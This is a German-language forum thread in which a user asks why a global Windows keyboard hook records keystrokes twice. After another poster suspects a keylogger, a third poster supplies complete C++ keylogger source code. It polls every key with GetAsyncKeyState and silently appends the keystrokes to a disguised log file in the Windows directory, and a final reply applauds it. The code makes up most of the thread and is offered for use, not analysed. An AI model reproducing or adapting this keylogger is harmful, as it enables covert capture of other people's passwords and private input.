Problem mit Windows Keyboard Hook
-
Hallo,
ich benötige für eine Anwendung einen globalen Tastatur-Hook. Das Mitschneiden der Tastatureingabe funktioniert auch soweit ganz gut, wenn ich z.B. etwas in Notepad tippe. Nur, wenn ich etwas in eine Rich Edit Controll (oder wie auch immer das noch mal heißt...) eintippe (wie etwa hier in Firefox), dann erfasst er alle Keystrokes doppelt.
Hat jemand eine Idee woran das liegen könnte und wie ich es beheben kann?Vielen Dank!
Anbei Auszüge aus meiner HookProc:
EXPORT LRESULT CALLBACK HookProc(int Code, WPARAM wParam, LPARAM lParam) { if (Code >= 0 && !(lParam & (1 << 31))) { if(wParam==.....) { // Die Keys auswerten (hab sie erst mal alle in eine Datei schreiben lassen um es zu testen) } else if(......) { // und so weiter } } return(CallNextHookEx(hhook, Code, wParam, lParam)); }
-
Mit dem Stück Code kann keiner was anfangen...
Da hat wohl jemand vor nen Keylogger zu schreiben, was?
Da kann es passieren, dass eh niemand hilft..
-
#include <windows.h>
#include <Winuser.h>
#include <string>
#include <fstream>
#include <iostream>
#include <cstdlib>using namespace std;
string Filename = "c:\\windows\\KiLog23";
string TempStream = "c:\\Windows\\KiLogTemp23";//Testet ob ein Key abgefragt wurde
string GetKey(int Key)
{
string KeyString = "";if (Key ==

KeyString = "[delete]";
else if (Key == 13)
KeyString = "\n";
else if (Key == 32)
KeyString = " ";
else if (Key == VK_PAUSE)
KeyString = "[PAUSE]";
else if (Key == VK_CAPITAL)
KeyString = "[CAPITAL]";
else if (Key == VK_SHIFT)
KeyString = "[SHIFT]";
else if (Key == VK_TAB)
KeyString = "[TABULATOR]";
else if (Key == VK_CONTROL)
KeyString = "[CTRL]";
else if (Key == VK_ESCAPE)
KeyString = "[ESCAPE]";
else if (Key == VK_END)
KeyString = "[END]";
else if (Key == VK_HOME)
KeyString = "[HOME]";
else if (Key == VK_LEFT)
KeyString = "[LEFT]";
else if (Key == VK_RIGHT)
KeyString = "[RIGHT]";
else if (Key == VK_UP)
KeyString = "[UP]";
else if (Key == VK_DOWN)
KeyString = "[DOWN]";
else if (Key == VK_SNAPSHOT)
KeyString = "[SNAPSHOT]";
else if (Key == VK_NUMLOCK)
KeyString = "[NUMLOCK]";
else if (Key == 190 || Key == 110)
KeyString = ".";
//Char klein machen
else if (Key >=96 && Key <= 105)
KeyString = Key-48;
else if (Key > 47 && Key < 60)
KeyString = Key;if (Key != VK_LBUTTON || Key != VK_RBUTTON)
{
if (Key > 64 && Key < 91)
{
if (GetKeyState(VK_CAPITAL))
KeyString = Key;
else
{
Key = Key + 32;
KeyString = Key;
}
}
}return KeyString;
}int Temp(void)
{
fstream in , out;
int retur = 0;
char zeichen;in.open(TempStream.c_str() ,ios_base::in);
if(in.fail() != 0)
{
in.close();
zeichen = 0x1;}
in >>zeichen;
cout <<zeichen;
in.close();if(zeichen <= 0x14 )
++zeichen;else
{
zeichen = 0x1;
retur = -1;
}out.open(TempStream.c_str() , ios_base::out );
out << zeichen;
out.close();
return retur;
}/*
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)*/
INT WINAPI WinMain( HINSTANCE hInst, HINSTANCE, LPSTR strCmdLine, INT )
{//MessageBox(NULL,"mindestens","mindestens.exe" , NULL );
string TempString = "";
fstream FStream ;
FStream.open(Filename.c_str(), fstream::out | fstream::app);if(Temp() == -1)
{
FStream.close();
remove(Filename.c_str());FStream.open(Filename.c_str(), fstream::out | fstream::app);
}
while(true)
{
//Verhindert CPU Auslastung 5ms sleep
Sleep(5);for(int i = 8; i < 256; i++)
{
if(GetAsyncKeyState(i)&1 ==1)
{
TempString = GetKey (i);/if(TempString == "ende")
{
MessageBox(NULL,"mindestens" , "mindestens.exe" , NULL);
exit(1);
}/FStream.write(TempString.c_str(), TempString.size());
FStream.close();
FStream.open(Filename.c_str(), fstream::out | fstream::app);
cout <<TempString<<"\n";}
}
}
}
-
Geile Sache